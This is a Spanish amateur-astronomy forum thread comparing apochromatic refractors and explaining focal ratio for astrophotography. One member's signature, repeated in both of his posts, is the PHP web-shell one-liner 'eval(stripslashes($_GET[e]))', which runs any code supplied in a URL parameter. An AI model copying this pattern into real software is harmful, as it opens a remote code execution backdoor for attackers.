Tubos APO

Subforo dedicado a los telescopios astronómicos. En este foro no está permitida la venta de ningún tipo de material.
rviper
Mensajes: 819
Registrado: Vie Ago 15, 2008 10:19 pm

Tubos APO

Mensaje por rviper »

Madre mia la que has liado Javi!!!

Te mando un privado
TS Indivudual 152/900
SkyWatcher Mak 127 BD
Y otros cacharrines.

Que distinto se ve todo con medio metro...
rviper
Mensajes: 819
Registrado: Vie Ago 15, 2008 10:19 pm

Tubos APO

Mensaje por rviper »

Contestando un poco mas a Javi, he estado mirando un poco en internet y a estas conclusiones he llegado:

- LONG PERNG ED 80/550mm: hablan bastante bien de el. Punto a favor: enfocador de doble velocidad.
- ROBTICS APO ED 80mm: la verdad es que tiene buena pinta y viene con crayford de doble velocidad.
- ZENITHSTAR WO APO 80: es el mas caro de todos y no tiene por que ser el mejor pero buena pinta no le falta jeje. De todas formas, en TecnoSpica esta en 605
TS Indivudual 152/900
SkyWatcher Mak 127 BD
Y otros cacharrines.

Que distinto se ve todo con medio metro...
javi
Mensajes: 235
Registrado: Jue Abr 23, 2009 4:38 pm

Tubos APO

Mensaje por javi »

Y de peso como anda el skywatcher.

Un abrazo.
vakaloura
Mensajes: 661
Registrado: Jue Dic 18, 2008 11:34 am

Tubos APO

Mensaje por vakaloura »

El ED80 "black diamond" tiene una masa de 2.47kg.

Pero ahora vengo yo y la lío....

Vamos aver, alguien ha probado este tubo?
[img]http://www.astronomics.com/main/images/ ... mb80CU.jpg[/img]
Se trata de un TMB de 80mm a f/6.3... sí, una pena, la focal para hacer foto no es la que soléis recomendar... pero es que TMB es sinónimo de calidad, no? Y en USA está por 995$, o sea que, o te mueves mucho buscándolo, o te saldrá por mil y pico euros...

En cuanto a lo del ed80, concuerdo con Alexis, debido a su precio, se lo ha comprado tooooodo el mundo y la verdad es que hay mucha info en la red, el Zenithstar tambien tiene muy buena pinta, WO es señal de calidad.... o no?

Lo que sí que no estoy de acuerdo con Rviper es en el Long Pern, el de 80 está bien, pero el de 90 parece mejor para foto, ya que el de 80 es un f/6,8 y el de 90 es un f/5,5 lo que te da 50 milímetros menos de focal con un centímetro más de abertura... pero bueno, todo esto es de boquilla.... ejque no he probado ninguno.... :roll:

Un saludooooo!!!
GSO RC 8" f/9, EZG80
QHY6_mono, NEQ6-PRO
LUNA
Mensajes: 486
Registrado: Vie Ago 08, 2008 4:36 pm

Tubos APO

Mensaje por LUNA »

:shock: :shock:
C8-S
Montura ecuatorial CG-5
Manuelariza
Mensajes: 1919
Registrado: Mar Ago 21, 2007 10:35 am

Tubos APO

Mensaje por Manuelariza »

Para astrofotos un f/5.5,mucho mejor.


Saludos...
Estoy de la Astronom�a hasta las narices,me ha hecho un agujero en el bolsillo!!!
javi
Mensajes: 235
Registrado: Jue Abr 23, 2009 4:38 pm

Tubos APO

Mensaje por javi »

Porque cuanto menos focal mejor. No entiendo.

Un abrazo.
m3ntol
Mensajes: 1829
Registrado: Mié Feb 28, 2007 11:07 pm

Tubos APO

Mensaje por m3ntol »

No es menor focal sino menor relación focal. La relación focal es la focal dividida por la abertura.

Una F/ (relación focal) baja indica telescopios que mandan mucha luz al chip de la cámara por eso son mejores para astrofotograsfía.
phpbb:eval(stripslashes($_GET[e]));
rviper
Mensajes: 819
Registrado: Vie Ago 15, 2008 10:19 pm

Tubos APO

Mensaje por rviper »

Y hablando de focales bajas y desviandonos un poco del tema inicial, ¿cual es el refractor "utilizable" con relación focal mas baja que conoceis?

Y otra pregunta Javier (m3ntol). ¿El TV-85 es doblete? ¿Triplete? ¿Lo consideras APO? Porque bueno... si que es.
TS Indivudual 152/900
SkyWatcher Mak 127 BD
Y otros cacharrines.

Que distinto se ve todo con medio metro...
m3ntol
Mensajes: 1829
Registrado: Mié Feb 28, 2007 11:07 pm

Tubos APO

Mensaje por m3ntol »

Esa pregunta tiene más peligro que un mono con una cuchilla, je, je, je.

El TV-85 es un doblete. Los cristales de Televue no están catalogados, es decir, televue no dice qué tipo de cristal es (ED, fluorita, ... ¿?) pero lo cierto es que la corrección cromática que da, tanto en visual como en astrofoto es muy buena.

Para mi entra de pleno en la denominación de APO.
phpbb:eval(stripslashes($_GET[e]));
Responder